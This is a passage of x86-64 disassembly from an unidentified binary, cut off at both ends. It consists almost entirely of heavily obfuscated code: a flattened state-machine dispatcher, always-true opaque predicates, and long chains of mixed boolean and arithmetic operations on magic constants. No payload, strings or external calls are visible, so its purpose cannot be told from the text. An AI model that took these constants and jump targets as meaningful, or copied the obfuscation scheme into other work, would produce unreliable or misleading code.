mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x115ae400
mov ebp, ecx
and ebp, 0x84250035
or ebp, edx
xor ebp, 0x84250035
and ecx, 0x6a801bca
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6a801bca
and ecx, 0x957fe435
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8dfa995b
and ecx, 0x720566a4
or ecx, edx
mov edx, ecx
xor edx, 0x72006224
xor ecx, 0x81181003
and ecx, 0x811d1483
and edx, 0x7ee2eb7c
or edx, ecx
mov ecx, edx
xor ecx, 0x80481
xor edx, 0x2022a010
and edx, 0xa137b012
and ecx, 0x5ec84fed
or ecx, edx
xor ecx, 0x5ec84fed
setne cl
sete dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
and cl, al
or al, dl
and r8b, dl
or r8b, cl
mov edx, r8d
xor dl, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x482f8848
mov ebp, 0x65763f92
cmovne ecx, ebp
test dl, 1
mov edx, 0x482f8848
jmp 0x1400c7d93
cmp ecx, 0x40b64322
jg 0x1400c2ee0
cmp ecx, 0x3ea36c82
je 0x1400c6b54
cmp ecx, 0x3ff06ace
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
xor ebp, 1
and ebp, edx
mov ecx, edx
not ecx
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc8d2a6e
and ebp, 0xf372d591
or ebp, edi
or ecx, ebx
and ebx, 0xc8d2a6e
and edx, 0xf372d591
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd3f7ceda
and ecx, 0x2c083125
or ecx, edx
mov edx, ecx
not edx
and edx, 0x96b1bc84
and ecx, 0x694e437b
or ecx, edx
mov edx, ecx
xor edx, 0x8b80c01
xor ecx, 0x44025216
and edx, 0x9fc2c49
and ecx, 0xf603d3b6
or ecx, edx
mov edx, ecx
xor edx, 0x8dc2000
xor ecx, 0x46021012
and ecx, 0x47221c5b
and edx, 0xb8dde3a4
or edx, ecx
xor edx, 0xb8dde3a4
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
xor dl, cl
mov eax, ecx
xor al, r8b
and al, cl
xor bl, r8b
mov ecx, eax
xor cl, 1
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
xor bl, dl
and dl, bl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x4ca468
mov ecx, 0x8005aa08
cmovne eax, ecx
test bl, 1
mov ecx, 0x4ca468
jmp 0x1400c79b7
cmp ecx, 0x4ce2ea0c
jg 0x1400c2f95
cmp ecx, 0x4ac4d9a1
je 0x1400c6cbe
cmp ecx, 0x4ba481dd
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x36db084b
and ebp, 0xc924f7b4
or ebp, edi
or ecx, ebx
and ebx, 0x36db084b
and edx, 0xc924f7b4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x382c513a
and ecx, 0xc7d3aec5
or ecx, edx
xor ecx, 0xc7d3aec4
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0x8731c878
and ebp, ecx
not ecx
and ecx, 0x8e78e6c8
and edx, 0x71871937
or edx, ecx
mov ecx, edx
xor ecx, 0x800
xor edx, 0x8630c048
or edx, 0x78ce3787
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0x2fa901bc
and ecx, 0x8010c840
or ecx, edi
or edx, ebx
and ebx, 0x2fa901bc
and ebp, 0xd056fe43
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x42ee64dd
and edx, 0xbd119b22
or edx, ecx
mov ecx, edx
xor ecx, 0x1a000042
xor edx, 0x859d2ca5
and ecx, 0x5a428042
and edx, 0xa5bd7fbd
or edx, ecx
xor edx, 0xa5bd7fbd
sete dl
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
and bl, r8b
mov r9d, ecx
and r9b, dl
or r9b, bl
xor dl, cl
and dl, cl
xor cl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, r9d
mov r8d, edx
and r8b, cl
mov ebx, r8d
xor r8b, dl
or dl, r9b
xor r9b, 1
and al, r9b
xor al, 1
mov r10d, eax
xor r10b, r9b
or al, r9b
xor al, 1
or al, r10b
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
xor bl, al
xor r9b, cl
xor dl, 1
or dl, r9b
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x35bf1aab
mov edx, 0xe4767d07
cmovne ecx, edx
test bl, 1
mov r12d, 0xe4767d07
cmove ecx, edx
test al, 1
mov eax, 0x35bf1aab
jmp 0x1400ca6f6
cmp ecx, 0x764839c
jg 0x1400c2fc3
cmp ecx, 0x68a426f
je 0x1400c6e33
cmp ecx, 0x6aadf34
jne 0x1400bca50
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x11e5ebdc
and ecx, eax
and eax, 0xee1a1423
or eax, edx
mov edx, eax
xor edx, 0x21403
xor eax, 0x11e5ebdc
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xfffc00b4
and edx, 0x3ff4b
or edx, ebx
or eax, ebp
and ebp, 0xfffc00b4
and ecx, 0x3ff4b
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x8d5fa2a2
and eax, 0x72a05d5d
or eax, ecx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x80522002
or ebx, 0x1d8d96f5
mov edi, ebx
not edi
or ebp, 0xe272690a
mov edx, ebp
not edx
and ebx, 0x3c0b38de
and edi, 0xc2704100
or edi, ebx
and ebp, 0x3c0b38de
and edx, 0x1848621
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x90c1782f
and edx, 0x6f3e87d0
or edx, ebp
xor edx, 0x8d4ceedb
and ecx, 1
xor eax, 0x72a05d5c
or eax, ecx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
setne al
cmp dword [0x14024b724], 9
setg bl
mov edx, ebx
and dl, al
xor bl, al
or dl, bl
mov eax, edx
not al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x9b97863d
mov ebp, 0x87764407
cmovne ecx, ebp
test dl, dl
mov edx, 0x9b97863d
jmp 0x1400bfb68
cmp ecx, 0x65b1a78b
jg 0x1400c2ff1
cmp ecx, 0x65106d55
je 0x1400c6f3a
cmp ecx, 0x65763f92
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x3d440d9c
xor ecx, 0xc50a1131
and ecx, edx
and edx, 0xc2bbf263
or edx, ebp
mov edi, edx
xor edi, 0xc2bbf263
mov ebx, edi
and ebx, 0x3af5eece
mov ebp, ebx
and ebp, ecx
xor ecx, ebx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x6b2a5496
and ecx, 0x94d5ab69
or ecx, ebp
mov ebp, ecx
xor ebp, 0x24204526
and edi, 1
xor edx, 0xc2bbf262
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xf1610588
and edx, 0xe9efa77
or edx, ebx
mov ebx, edx
xor ebx, 0x49cda66
xor edx, 0xf1610588
xor ecx, 0x51dfba59
mov edi, ecx
and edi, 0x9a432099
and ebp, 0x65bcdf66
or ebp, edi
or ecx, edx
and edx, 0x9a432099
and ebx, 0x65bcdf66
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x55ec382
and edx, ecx
and ecx, 0xfaa13c7d
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa8013454
xor ecx, 0x55ec382
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x52e8cba9
and ebp, 0xad173456
or ebp, edi
or ecx, ebx
and ebx, 0x52e8cba9
and edx, 0xad173456
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xe63f5bd7
mov ebp, 0x2d1d92ff
cmovne ecx, ebp
test dl, 1
mov edx, 0xe63f5bd7
jmp 0x1400c7d93
cmp ecx, 0x92bf3753
jg 0x1400c3145
cmp ecx, 0x924af7b3
je 0x1400c6f55
cmp ecx, 0x92ae8eaa
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x3460b41
mov ecx, ebx
and ecx, 0xd420001a
or ecx, edx
xor ecx, 0xd420001a
mov edx, ebx
xor edx, 0xd7660b5b
and edx, ebx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x70dce841
and edx, 0x8f2317be
or edx, ecx
mov ebp, edx
xor ebp, 0x584504a0
xor edx, 0x7900203
and edx, 0x7901a47
and ebp, 0xf86fe5b8
or ebp, edx
mov ecx, ebp
xor ecx, 0x780ce590
and edi, 0x7bd6dfa2
and ebx, 0x8429205d
or ebx, edi
mov edx, ebx
xor edx, 0x82051
xor ebp, 0x7901a47
xor ebx, 0x7bd6dfa2
mov edi, ebp
and edi, 0x8473102e
and ecx, 0x7b8cefd1
or ecx, edi
or ebp, ebx
and ebx, 0x8473102e
and edx, 0x7b8cefd1
or edx, ebx
xor edx, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov edx, r10d
xor dl, cl
and dl, r10b
mov eax, r9d
xor al, dl
mov ebx, eax
and bl, r9b
and al, dl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, r10d
xor r10b, r9b
and r9b, cl
and dl, r8b
or dl, r9b
or cl, r8b
xor cl, 1
or cl, r10b
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
and al, dl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x367587dd
mov edx, 0xd11ef3a3
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x367587dd
jmp 0x1400ca6f6
cmp ecx, 0xd5e7139b
jg 0x1400c3233
cmp ecx, 0xd5490cb7
je 0x1400c7083
cmp ecx, 0xd583ebe7
jne 0x1400bca50
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xb11c50a3
mov ebx, ecx
and ebx, 0x48438214
or ebx, edx
xor ebx, 0x48438214
mov edx, ecx
xor edx, 0xf95fd2b7
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x6a02d49
and edx, 0xf95fd2b6
or edx, ebx
not edx
and ebp, 0xcb1d7979
and ecx, 0x34e28686
or ecx, ebp
xor ecx, 0x34e28686
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
xor cl, dl
and cl, dl
mov edx, ecx
and dl, al
xor cl, al
xor al, 1
or cl, dl
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xf1c9a4ed
mov ebp, 0x9459c64b
cmovne ecx, ebp
test dl, dl
mov edx, 0xf1c9a4ed
cmovne ecx, edx
jmp 0x1400c1306
cmp ecx, 0xb70ab770
jg 0x1400c3326
cmp ecx, 0xb4c2b9fb
je 0x1400c71e5
cmp ecx, 0xb54bfee3
jne 0x1400bca50
mov rax, qword [rsp + 0x30]
mov ecx, 0x41b02eb8
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0xfd15fb68
jg 0x1400c3354
cmp ecx, 0xf5e3a6d0
je 0x1400c7200
cmp ecx, 0xfc137e96
jne 0x1400bca50
mov rax, qword [rsp + 0x30]
mov ecx, dword [0x14024b728]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0xad008001
mov eax, ebp
and eax, 0x2b4808
or eax, ecx
xor eax, 0x2b4808
mov ecx, ebp
and ecx, 0x52d437f6
or ecx, eax
mov eax, ecx
not eax
and eax, 0x35cf95af
and ecx, 0xca306a50
or ecx, eax
mov eax, ecx
xor eax, 0x471a0010
and edx, 0xdd3039a1
and ebp, 0x22cfc65e
or ebp, edx
mov edx, ebp
xor edx, 0x24a0014
xor ecx, 0x98e45da7
mov ebx, ecx
and ebx, 0x2885efea
and eax, 0xd77a1015
or eax, ebx
xor ebp, 0x80029a0
and ebp, 0x2885efea
and edx, 0xd77a1015
or edx, ebp
xor edx, eax
xor ecx, edx
test ecx, edx
sete al
setne cl
cmp dword [0x14024b724], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, eax
xor cl, bl
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0xcf41534f
mov ebp, 0x65106d55
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0xcf41534f
cmovne ecx, ebp
jmp 0x1400ca6f4
cmp ecx, 0x8548f834
jg 0x1400c3382
cmp ecx, 0x82912ad4
je 0x1400c7216
cmp ecx, 0x846de7dc
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
and edi, ecx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
mov ecx, edi
not ecx
mov edx, edi
or edx, 0x3603bbd7
mov ebp, edx
not ebp
mov ebx, edi
xor ebx, 0xc9fc4428
and ebx, edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0xab1b9b8
and ebp, 0xc14c4400
or ebp, eax
or edx, esi
and esi, 0xab1b9b8
and ebx, 0xf54e4647
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x3603bbd6
and edx, 0xc9fc4429
or edx, eax
and edi, 0xf824ad1f
mov eax, ecx
and eax, 0x7db52e0
or eax, edi
xor eax, 0xf824ad1e
and ecx, 1
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x83ac0a7b
and edx, ecx
or ecx, 0x7c53f584
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x46331b6
and eax, 0x838c0a49
or eax, ebx
or ecx, ebp
and ebp, 0x46331b6
and edx, 0xfb9cce49
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7c53f584
and ecx, 0x83ac0a7b
or ecx, eax
setne r11b
sete r10b
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl al
mov ebx, r10d
xor bl, r11b
and bl, r10b
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
and dl, al
xor cl, 1
and cl, r9b
or cl, dl
xor r11b, r9b
mov edx, eax
and dl, r10b
xor al, r10b
or al, dl
xor al, 1
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x7fdbce28
mov eax, 0xcd2481a9
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x7fdbce28
jmp 0x1400ca6f6
cmp ecx, 0xc46ba55b
jg 0x1400c34d0
cmp ecx, 0xc1ac2591
je 0x1400c72f5
cmp ecx, 0xc2917310
jne 0x1400bca50
mov r8, qword [rsp + 0x38]
mov ecx, dword [0x14024b728]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xa8ba223
and ecx, edx
not edx
and edx, 0xa8ba223
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xdbca0da6
and ecx, 0x2435f259
or ecx, edx
mov ebx, ecx
xor ebx, 0x2ebe507a
xor ecx, 0xd141af85
mov edx, ebx
or edx, 0x73848ce4
mov edi, edx
not edi
mov esi, ecx
or esi, 0x8c7b731b
and edx, 0x35bfd77f
and edi, 0x88402000
or edi, edx
mov ebp, esi
not ebp
and esi, 0x35bfd77f
and ebp, 0x42000880
or ebp, esi
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x1abd44e5
and ebp, 0xe542bb1a
or ebp, edx
xor ebp, 0x6939c800
and ebx, 0xba574b6c
mov edx, ecx
and edx, 0x45a8b493
or edx, ebx
xor edx, 0xba574b6d
and ecx, 1
or ecx, edx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0x3495e4b7
and ebp, ecx
not ecx
and ecx, 0xe0090d3c
and edx, 0x1ff6f2c3
or edx, ecx
mov ecx, edx
xor ecx, 0x10808081
xor edx, 0x20010434
or edx, 0xcb6a1b48
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xef5e790e
and ecx, 0x108184b1
or ecx, edi
or edx, ebx
and ebx, 0xef5e790e
and ebp, 0x10a186f1
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x78e7e728
and edx, 0x871818d7
or edx, ecx
xor edx, 0xb38dfc60
setne r9b
cmp dword [0x14024b724], 9
setg dl
xor r9b, dl
mov ecx, r9d
xor cl, 1
xor dl, cl
mov ebx, edx
and bl, cl
mov eax, ebx
xor al, 1
and al, bl
and cl, r9b
mov r10d, eax
and r10b, bl
xor al, bl
or al, r10b
mov r10d, ecx
and r10b, r9b
xor cl, r9b
or cl, r10b
xor cl, al
xor bl, r9b
or dl, r9b
xor dl, 1
or dl, bl
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xa2ed57ce
mov ebp, 0x34f9f9c9
cmovne edx, ebp
test cl, 1
cmove edx, ebp
mov qword [0x14024b060], r8
test al, 1
mov eax, 0xa2ed57ce
jmp 0x1400c84aa
cmp ecx, 0xa286060f
jg 0x1400c35ea
cmp ecx, 0x9ec6825f
je 0x1400c730b
cmp ecx, 0x9f43df1c
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
or edx, 0x20d196f8
mov ebp, ebx
or ebp, 1
and ebp, 0x20d196f9
mov edi, ecx
and edi, 0xdf2e6906
or edi, ebp
and edx, 0x20d196f9
xor edx, edi
mov ebp, edx
not ebp
mov edi, edx
and edi, 0x8aacade9
and ebp, 0x75535216
or ebp, edi
or edx, ebx
and ebx, 0x8aacade9
and ecx, 0x75535216
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
xor dl, 1
or dl, bl
and cl, bl
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xe3ec10ab
mov ebp, 0x80672a2e
cmovne ecx, ebp
test al, al
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0xe3ec10ab
jmp 0x1400ca6f6
cmp ecx, 0xe3ec10aa
jg 0x1400c3618
cmp ecx, 0xe2953928
je 0x1400c7321
cmp ecx, 0xe301a424
jne 0x1400bca50
mov ecx, 0xd1b3b88
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x36017c2e
jg 0x1400c3710
cmp ecx, 0x34f9f9c9
je 0x1400c7337
cmp ecx, 0x35bf1aab
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x427d061
and ecx, ebp
not ebp
and ebp, 0x403d060
and edx, 0x240001
or edx, ebp
xor edx, 0x240001
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xfbd82f9e
and ecx, 0x427d061
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x37e504aa
and ecx, 0xc81afb55
or ecx, edx
mov ebp, ecx
not ebp
mov edi, ecx
xor edi, 0x272000aa
or edi, 0x98dd6644
mov esi, edi
not esi
or ebx, 0x672299bb
mov edx, ebx
not edx
and edi, 0xbe556eb0
and esi, 0x4122910b
or esi, edi
and ebx, 0xbe556eb0
and edx, 0x880044
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0x458e2e8c
and edx, 0xba71d173
or edx, ebx
xor edx, 0xdd5348c9
and ebp, 1
xor ecx, 0xc81afb54
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x9f3fe54e
and ecx, 0x60c01ab1
or ecx, ebp
xor ecx, 0x60c01ab1
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 0x9ea4d6a8
and edx, ecx
or ecx, 0x615b2957
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x515aeba8
and ebp, 0x8ea41400
or ebp, edi
or ecx, ebx
and ebx, 0x515aeba8
and edx, 0xaea51457
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2d02c5e1
and ecx, 0xd2fd3a1e
or ecx, edx
xor ecx, 0x4c59ecb6
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
and cl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
and bl, r8b
or cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xe4767d07
mov ebp, 0x7386fee6
cmovne ecx, ebp
test dl, dl
cmovne ecx, r12d
jmp 0x1400c1306
cmp ecx, 0x55be0c2d
jg 0x1400c37de
cmp ecx, 0x5457f1e4
je 0x1400c7359
cmp ecx, 0x54b1a2e0
jne 0x1400bca50
mov ecx, 0x4ba481dd
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
cmp ecx, 0x1a7e52f9
jg 0x1400c3923
cmp ecx, 0x191a42ab
je 0x1400c736f
cmp ecx, 0x1a32fefc
jne 0x1400bca50
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd4590817
and eax, ecx
and ecx, 0x2ba6f7e8
or ecx, edx
xor ecx, 0x2ba6f7e8
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov ebp, ecx
xor ebp, 0x13c50fb8
and ebp, eax
mov edi, eax
or edi, 0x13c50fb8
mov ebx, edi
not ebx
mov edx, ebp
not edx
mov esi, edx
and esi, 0xd4b96bc5
and ebp, 0x2b46943a
or ebp, esi
or edx, edi
and edi, 0xd4b96bc5
and ebx, 0x28029002
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x713d738d
and edx, 0x8ec28c72
or edx, ebp
xor edx, 0x9d0783cb
and ecx, 0x387cf09c
mov ebp, eax
and ebp, 0xc7830f63
or ebp, ecx
xor ebp, 0x387cf09d
and eax, 1
or eax, ebp
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7bc5d338
and ecx, eax
and eax, 0x843a2cc7
or eax, edx
xor eax, 0x843a2cc7
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8f1b6dee
and ecx, 0x70e49211
or ecx, eax
xor ecx, 0x70e49211
setne al
cmp dword [0x14024b724], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
mov edx, 0xaccfccd0
mov ebp, 0x4ac4d9a1
cmovne edx, ebp
test cl, cl
mov ecx, edx
cmovne ecx, ebp
jmp 0x1400c8868
cmp ecx, 0x7676465e
jg 0x1400c3951
cmp ecx, 0x75300e7f
je 0x1400c745a
cmp ecx, 0x75a5e553
jne 0x1400bca50
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov esi, edx
mov ecx, edx
xor ecx, 0x571364ba
and ecx, edx
not edx
and edx, 0xe39a31a9
and esi, 0x1c65ce56
or esi, edx
mov ebp, esi
xor ebp, 0x1c65ce56
xor esi, 0x82121188
mov ebx, ebp
and ebx, 0x571364ba
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xf5a2cf82
and ecx, 0xa5d307d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x494c50c2
and esi, 0x9e565bc8
mov edx, ebp
and edx, 0x61a9a437
or edx, esi
xor edx, 0x9e565bc9
and ebp, 1
or ebp, edx
mov edx, ebp
not edx
xor ecx, 0xa2b1ab39
mov edi, ecx
and edi, 0xb402862d
and ebx, 0x4bfd79d2
or ebx, edi
or ecx, ebp
and ebp, 0xb402862d
and edx, 0x4bfd79d2
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x43a0fe0d
and edx, ecx
and ecx, 0xbc5f01f2
or ecx, ebp
xor ecx, 0xbc5f01f2
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete r8b
setne bl
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov ecx, ebx
or cl, al
mov r9d, eax
and r9b, bl
xor bl, al
not bl
and bl, al
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
and r10b, r8b
or r10b, r9b
mov ecx, eax
xor cl, r8b
and al, r8b
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and al, dl
and bl, cl
or bl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xa2860610
mov ecx, 0x9b54087d
cmovne eax, ecx
test dl, 1
mov ecx, 0xa2860610
jmp 0x1400ca5e3
cmp ecx, 0x5180fb44
jg 0x1400c397f
cmp ecx, 0x4f6f7846
je 0x1400c747c
cmp ecx, 0x4fe97743
jne 0x1400bca50
mov eax, dword [0x14024b728]
mov ebp, dword [0x14024b724]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x2845532
mov ecx, edx
and ecx, 0x39008205
or ecx, eax
xor ecx, 0x39008205
